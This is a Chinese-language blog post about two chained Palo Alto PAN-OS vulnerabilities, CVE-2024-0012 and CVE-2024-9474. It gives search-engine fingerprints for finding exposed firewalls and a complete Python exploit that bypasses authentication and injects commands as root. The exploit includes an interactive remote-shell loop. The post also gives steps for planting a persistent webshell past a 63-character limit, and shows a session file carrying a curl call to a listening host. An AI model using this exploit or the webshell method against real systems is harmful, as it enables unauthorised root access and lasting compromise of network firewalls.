• CVE-2024-9474(CVSS 评分:6.9)- Palo Alto Networks PAN-OS软件中存在权限提升漏洞,允许有权访问管理Web界面的PAN-OS管理员以root权限对防火墙执行操作。

  • CVE-2024-0012(CVSS 评分:9.3)- Palo Alto Networks PAN-OS软件中的身份验证绕过漏洞可使未经身份验证的攻击者通过网络访问管理Web界面,从而获取PAN-OS管理员权限以执行管理操作、篡改配置或利用其他经过身份验证的特权提升漏洞。

这两个是近期爆出关于网络安全供应商Palo Alto NetworksPAN-OS防火墙管理界面的零日漏洞,目前已经被广泛利用。通过这两个漏洞可在防火墙上进行交互式命令执行和放置webshell。

watchTowr的研究人员公布了有关CVE-2024-0012CVE-2024-9474的更多技术细节文章——Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474,讲解了如何将这两个漏洞串联起来以实现命令注入,并给出了POC。

这两个漏洞不需要用户交互或者权限即可利用,并且其攻击复杂性不高,漏洞原理就不再赘述,可以直接去看这篇文章,这里分享一下对漏洞验证和延伸的过程中踩到的坑。

漏洞探测

watchTowr实验室发布了一个Nuclei模板,可以使用它来检查目标是否存在漏洞。

不要将PAN-OS和SSLVPN混淆。
以fofa举例,可通过icon_hash="873381299"body="Panos.browser.cookie.set"查找目标。

漏洞验证

要验证漏洞当然是要有poc啦,距离漏洞首次披露时间已经过去了两周半(bushi),网上有人也已经写出来了,虽然自己也能写,但奈何代码功底不扎实,这东西自己用是无所谓(怎么写都可以),但毕竟是要拿出来给大家看的,还是要写好看一点,就在网上找了一个poc根据自己想要的效果稍微改动一下(^^)。原poc地址:https://github.com/Sachinart/CVE-2024-0012-POC

稍微改动后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
'''
(*) CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)
(*) CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
'''
import requests
import argparse
import sys
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)


class Vuln:
def __init__(self, base_url, verify_ssl=False, command=None, timeout=30):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.command = command
self.timeout = timeout
self.session = requests.Session()

if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False

def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
kwargs['allow_redirects'] = False
#kwargs['proxies'] = { "http": "http://127.0.0.1:8888","https": "http://127.0.0.1:8888"}

response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response

except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None

def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off',
'Content-Type': 'application/x-www-form-urlencoded'
}

payload = f'`echo $({self.command})>/var/appweb/htdocs/w`'

# The length of the executed command cannot exceed 63 characters.
if len(payload) > 63:
print("[Warning] The command length exceeds 63 characters!!!")

# Command injection payload to write system info to file
data = {
'user': f'{payload}',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}

response = self.make_request('POST', '/php/utils/createRemoteAppwebSession.php/helloworld.js.map', headers=headers, data=data)

if response and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
return phpsessid
return None

def trigger_execution(self, phpsessid):
"""Trigger command execution via index page"""
headers = {
'Cookie': f'PHPSESSID={phpsessid}',
}

response = self.make_request('GET', '/index.php/.js.map', headers=headers)
return response

def verify_execution(self):
"""Verify command execution by checking created file"""
response = self.make_request('GET', '/w')
return response

def main():
parser = argparse.ArgumentParser(description='Vulnerability Check Script')
parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
parser.add_argument('--shell', action='store_true', help='Open the command execution terminal')
args = parser.parse_args()

setup_logging()
logging.info(f"Starting vulnerability check against {args.url}")
try:
checker = Vuln(
args.url,
verify_ssl=not args.no_verify,
command='uname -a',
timeout=args.timeout
)

# Step 1: Create session with command injection payload
phpsessid = checker.create_initial_session()
if phpsessid:
logging.info(f"Initial session created: {phpsessid}")
else:
logging.error("Session creation failed")
return

# Step 2: Trigger command execution
trigger_execution_response = checker.trigger_execution(phpsessid)
if trigger_execution_response and trigger_execution_response.status_code == 200:
logging.info("Command execution triggered successfully")
logging.info(f"Trigger response status: {trigger_execution_response.status_code}")
if trigger_execution_response.text:
logging.info(f"Response content length: {len(trigger_execution_response.text)}")

# Step 3: Verify the result
logging.info("Command execution verified")
verify_execution_response = checker.verify_execution()
if verify_execution_response and verify_execution_response.status_code == 200:
if verify_execution_response.text:
logging.info(f"System info: {verify_execution_response.text.strip()}")
logging.info("Verification completed successfully")
else:
logging.error("Verification failed - file not created or accessible")
return
else:
logging.error("Command execution trigger failed")
return

# Open the command execution terminal
if args.shell:
logging.info("###########################################")
logging.info("### Open the command execution terminal ###")
logging.info("###########################################")

while True:
command = input("#: ")
if command == "exit":
return

shell = Vuln(
args.url,
verify_ssl=not args.no_verify,
command=command,
timeout=args.timeout
)

phpsessid = shell.create_initial_session()
if not phpsessid:
logging.error("Session creation failed")
continue
trigger_execution_response = checker.trigger_execution(phpsessid)
if trigger_execution_response and trigger_execution_response.status_code == 200:
verify_execution_response = checker.verify_execution()
if verify_execution_response and verify_execution_response.status_code == 200:
if verify_execution_response.text:
print(verify_execution_response.text.strip())
else:
logging.error("Verification failed - file not created or accessible")
continue
else:
logging.error("Command execution trigger failed")
continue
except KeyboardInterrupt:
sys.exit(0)


if __name__ == "__main__":
main()

效果展示:

坑点

基于网上的公开资料,poc已经可以达到命令执行并回显的效果,但是要持续的进行远程权限访问是不够的,幸好,该应用程序是使用伟大的PHP语言,由Apache服务器提供服务,并以Nginx反向代理为前端,所以可以通过WebShell的形式来维持权限。

那么接下来的目的就是通过命令注入向应用程序的web路径写入webshell,但是坑点来了,注入的命令长度一旦超过63个字符,就不会被执行,所以我在以上代码中加入了对执行命令的长度的检查。

为了绕过这个限制写入webshell,思路就是把原本一条超过限制长度的命令拆分后依次执行,由于写入webshell的路径基本是固定的(/var/appweb/htdocs/unauth/),其他路径也能写,不过访问需要带着经过权限提升后cookie中的PHPSESSID,不然访问文件会302跳转到登录页面。

提供一个大致的方法,可以将写入分成两步,把一句话webshell进行base64编码后写入到/路径下(这也是当前命令执行的路径),然后再解码至可访问的web目录。

由于是黑盒测试,就没有去细究这个问题产生的原因,但根据命令注入的点位(userName)猜测应该是用户名字的长度有限制。

1
2
[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6
cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"XXXX";userName|s:52:"`curl {{listening-host}}`";userRole|s:9:"superuser"

参考资料:
Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474